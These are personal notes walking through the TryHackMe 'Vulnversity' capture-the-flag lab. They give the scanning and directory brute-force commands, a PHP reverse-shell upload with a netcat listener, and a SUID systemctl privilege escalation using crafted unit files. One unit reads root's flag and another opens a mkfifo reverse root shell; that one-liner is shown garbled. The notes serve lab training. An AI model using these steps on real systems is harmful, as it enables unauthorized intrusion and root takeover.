====== TRY HACK ME ======
* [[https://tryhackme.com/ | TryHackMe]]: Cyber security training through short, gamified, real-world labs. Content for complete beginners and seasoned hackers.
====== Vulnversity ======
Write-Ups: [[https://n0w4n.nl/vulnversity/ | n0w4n]]
===== Port/Version Scan =====
Mine:
nmap -vv -p- -sV -A [IP]
[[https://n0w4n.nl/vulnversity/ | n0w4n's]]:
nmap -n -T4 -sS -sV -sC -oN nmap/portscan -p- 10.10.207.138
===== GoBuster (dirs) =====
Brute-force directories & files, DNS subdomains, and virtual host names.
apt-get install gobuster
wordlists under /usr/share/wordlists
Syntax: gobuster dir -u http://:3333 -w
-e Print the full URLs in your console
-u The target URL
-w Path to your wordlist
-U and -P Username and Password for Basic Auth
-p Proxy to use for requests
-c Specify a cookie for simulating your auth
[[https://n0w4n.nl/vulnversity/ | n0w4n]]: Used DirSearch
dirsearch -u http://10.10.207.138:3333 -e php -x 400,404
===== Burp: Intruder =====
**Burp Suite Intruder:** Fuzz the ''/internal/'' directory to see what kinds of file extensions it will allow you to upload.
[[https://n0w4n.nl/vulnversity/ | n0w4n]]: Load the wordlist and don’t forget to disable the encode options. If you forget this, you will not have the proper result as your filename will be ''file%2ephp'', which won’t work.
* I did that... and it didn't work.
===== Reverse Shell =====
Obtain an exploit reverse shell to upload: [[https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php | pentestmonkey]]
* You have to rename it .phtml to upload it.
* Upload it.
* Start a listener on your attack machine:
nc -lvnp 1234
# -l listener
# -v verbose
# -n numeric-only IPs, no DNS
# -p port (local port number)
* Then execute the .phtml file on the target machine:
http:[IP]:3333/internal/uploads
===== Privilege Escalation =====
[[https://n0w4n.nl/vulnversity/ | n0w4n]]: For a lot of CTFs, a good find are files with the SUID bit set.
find / -perm /4000 -type f -exec ls -ld {} \; 2>/dev/null
# -l long listing format
# -d list directory names, not contents
**Or use PEASS:** [[https://pentesttools.net/peass-privilege-escalation-awesome-scripts-suite/ | Privilege]]Escalation Awesom Scripts Suite
* [[https://github.com/carlospolop/PEASS-ng/releases/tag/20220918 | Download]]
* [[https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS | Linpeas]]: Linux local Privilege Escalation Awesome Script (.sh)
**Discovered Vulnerability:** [[https://gtfobins.github.io/gtfobins/systemctl/ | systemctl is SUID root]]
===== Exploit =====
[[https://n0w4n.nl/vulnversity/ | n0w4n]]: He said we did not have perms to write in the default systemctl dir, so he created the unit file as an ENVIRONMENT VARIABLE.
* First we create a variable which holds a unique file (on target machine).
eop=$(mktemp).service
* Then we create an unit file and write it into the variable. Inside the unit file we enter a command that will let the shell execute the command ''cat'' and redirect the output of ''cat'' to a file called ''output'' in the folder ''/tmp/''.
echo '[Service]
> ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
> [Install]
> WantedBy=multi-user.target' > $eop
* And finally we use the /bin/systemctl program to enable the unit file.
/bin/systemctl link $eop
# Created symlink from /etc/systemd/system/tmp.x1uzp01alO.service to /tmp/tmp.x1uzp01alO.service.
/bin/systemctl enable --now $eop
# Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.x1uzp01alO.service to /tmp/tmp.x1uzp01alO.service.
* Find it:
ls -lah /tmp
===== Alternative Exploit =====
**To get a reverse root shell:**
**NOTE:** the target machine is using netcat OpenBSD, NOT the traditional netcat. That means the -e (execute) flag will not work. See **Netcat (Traditional)** and **Netcat (OpenBSD)" (OpenBSD netcat removed the -e flag “for security” ([[https://kb.systemoverlord.com/security/postex/reverse/ | link]]).
# nc (openbsd):
rm /tmp/f;mkfifo /tmp/f;/bin/sh -i 2>&1 /tmp/f
* Create your unit file:
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "rm /tmp/f;mkfifo /tmp/f;/bin/sh -i 2>&1 /tmp/f"
[Install]
WantedBy=multi-user.target' > gk.service
* Open a listener on your attack machine:
nc -lvnp 7777
* Link and start the service:
/bin/systemctl link /tmp/gk.service # need the full path
/bin/systemctl enable --now /tmp/gk.service
Done.
----